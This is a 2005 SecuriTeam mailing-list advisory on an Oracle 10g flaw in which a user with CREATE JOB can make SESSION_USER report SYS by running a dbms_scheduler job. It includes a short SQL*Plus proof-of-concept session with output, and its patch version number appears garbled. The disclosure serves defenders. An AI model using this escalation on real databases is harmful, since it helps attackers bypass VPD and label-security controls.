From: SecuriTeam <support@securiteam.com.>
To: [email protected]
Date: 8 May 2005 17:38:45 +0200
Subject: [NEWS] Oracle DBMS_SCHEDULER SESSION_USER Vulnerability
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <20050508145316.E8E5C57B7@mail.tyumen.ru.>
X-Virus-Scanned: antivirus-gw at tyumen.ru
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Oracle DBMS_SCHEDULER SESSION_USER Vulnerability
------------------------------------------------------------------------
SUMMARY
Every user with CREATE JOB privilege can switch the SESSION_USER to SYS by
executing a database job via dbms_scheduler. This could cause problems
with VPD - Virtual Private Database or OLS - Oracle Label Security and
could allow privilege escalation.
DETAILS
Vulnerable Systems:
* Oracle version 10g
The following proof of concept exploit code (from Metalink) allows any
user with CREATE JOB privileges to switch the session_user to SYS (This
statement is often used together with VPD - Virtual Private Database or
OLS - Oracle Label Security and could allow privilege escalation. The old
deprecated current_user shows the right user.
Example:
Connect as a user with CREATE job privilege
SQL> select user from dual;
USER
---------
JOBUSER
SQL> execute dbms_scheduler.run_job('ANY_JOB');
PL/SQL procedure successfully completed.
SQL> select user from dual;
USER
---------
SYS
SQL> select (sys_context('userenv','session_user')) from dual;
USER
---------
SYS
SQL> select (sys_context('userenv','current_user')) from dual;
USER
---------
JOBUSER
SQL> show user
USER is "jobuser"
Patch Information:
This information has been public for months but Oracle never released a
security alert. It seems that this bug is fixed after applying the
10.0.1.4 patchset for Oracle.
ADDITIONAL INFORMATION
The information has been provided by
<mailto:ak@red-database-security.com.> Alexander Kornbrust.
The original article can be found at:
<http://www.red-database-security.com/exploits/oracle_exploit_dbms_scheduler_select_user.html> http://www.red-database-security.com/exploits/oracle_exploit_dbms_scheduler_select_user.html
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected]
In order to subscribe to the mailing list, simply forward this email to: [email protected]
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.